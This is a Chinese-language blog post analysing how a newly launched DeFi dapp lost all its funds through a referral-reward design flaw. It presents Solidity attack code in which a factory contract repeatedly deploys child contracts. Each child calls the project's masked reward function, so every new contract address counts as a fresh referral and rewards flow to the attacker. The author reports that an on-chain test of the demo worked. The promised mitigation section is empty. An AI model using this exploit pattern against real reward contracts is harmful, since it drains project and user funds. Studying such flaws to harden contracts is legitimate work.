震惊:全面拆解dapp上线三天、 规则漏洞导致资金全部损失

背景:

今天的分析的是链上一个土狗项目由于规则设计漏洞、导致被黑客利用漏洞攻击、致使资金全部损失的案例、近期这个项目也是圈内很火、今天看到了,就趁周末有时间从技术的角度,分析黑客如何利用链上部署的合约,进而干废项目方。

今天说的这个,不是技术漏洞bug、是规则设计漏洞。

说到这里可能有同学就说了、我合约不开源、他怎么发现我的漏洞的、怎么攻击我的、这里可以直接告诉你、不开源不代表安全、只是增加了黑客的一点点成本而已。

攻击源代码

csharp 复制代码
// SPDX-License-Identifier: GPL-3.0

pragma solidity ^0.8.0;
contract ChildContract {
    // 定义合约
     address constant remoteContractAddress = 0x543a975946xxxxxxxxxxxxxxxxxxxxx;
     // 子合约的代码...
    function fun(address orderAdress) public {
        // 调用远程合约的*****function方法
        bytes4 sig = bytes4(keccak256("*****function(address)"));
        (bool success, ) = remoteContractAddress.call{value: 0}(abi.encodeWithSelector(sig, orderAdress));
        require(success, "Remote contract call failed");
    }
}

// 工厂合约定义
contract FactoryContract {
    address[] public childrenContracts; // 存储所有子合约地址的数组
    function createChild(address orderAdress) public {
        for (uint256 i = 0; i < 10; i++) {
        ChildContract child = new ChildContract(); // 创建新的子合约实例
        address childAddr = address(child); // 获取子合约的地址
        childrenContracts.push(orderAdress); // 将子合约地址存入数组
        child.fun(orderAdress);
        }

    }

}

案例分析

导火索: 项目方里面有个活动、利用首次推荐新用户推荐人下单获得固定奖励、本来一切都是好好的、但是这里就有一个漏洞了。大家都知道链上都是用address 钱包定义用户的、但是合约本质上也是一个特殊的address 、故此当有人核量成本、发现一笔攻击gas能覆盖奖励收益的时候、就开始使用技术手段去攻击了。

接下来我解释一下我演示的demo流程

1、创建一个工厂合约、每次通过fro方式重复new ChildContract 这个每次new 都会得到一个新的合约地址

2、通过ChildContract 内fun 方法,固定去调用项目方函数。

3、项目方接收到调用后,规则验证通过、给推荐地址orderAdress 返一笔。

4、如果FactoryContract .createChild 一直重复调用、项目方很快破产...

5、以下是我写的一个简单的调用demo 的链上记录

打码的不用关注、主要就是告诉你、可行。。。

后期建议优化

相关推荐
MicroTech202510 小时前
微算法科技 (NASDAQ:MLGO)利用量子密钥分发QKD技术,增强区块链系统的抗攻击能力
区块链·量子计算
dingzd9513 小时前
去中心化金融(DeFi)入门必看
金融·web3·去中心化·区块链·facebook·tiktok·instagram
miner.Fan13 小时前
蚂蚁 S21e XP Hyd 3U 860T矿机性能分析与技术特点
区块链
Sui_Network13 小时前
凭借 Seal,Walrus 成为首个具备访问控制的去中心化数据平台
大数据·人工智能·科技·web3·去中心化·区块链
TechubNews14 小时前
Webus 与中国国际航空合作实现 XRP 支付
大数据·网络·人工智能·web3·区块链
凡哥btczf66617 小时前
神马 M63S+ 438T矿机评测:SHA-256算法高效能挖矿利器
区块链
taxunjishu18 小时前
CC-Link IE FB 转 DeviceNet 实现欧姆龙 PLC 与松下机器人在 SMT 生产线锡膏印刷环节的精准定位控制
运维·人工智能·物联网·自动化·区块链
miner.Fan2 天前
阿瓦隆 A1146 Pro 63T:性能与设计详解,探索区块链挖矿新高度
区块链
StockPP2 天前
全球股票API接口:一站式接入印度股票实时行情数据指南
区块链
yzx9910132 天前
构建下一代互联网:解码Web3、区块链、协议与云计算的协同演进
c语言·开发语言·人工智能·自动化·区块链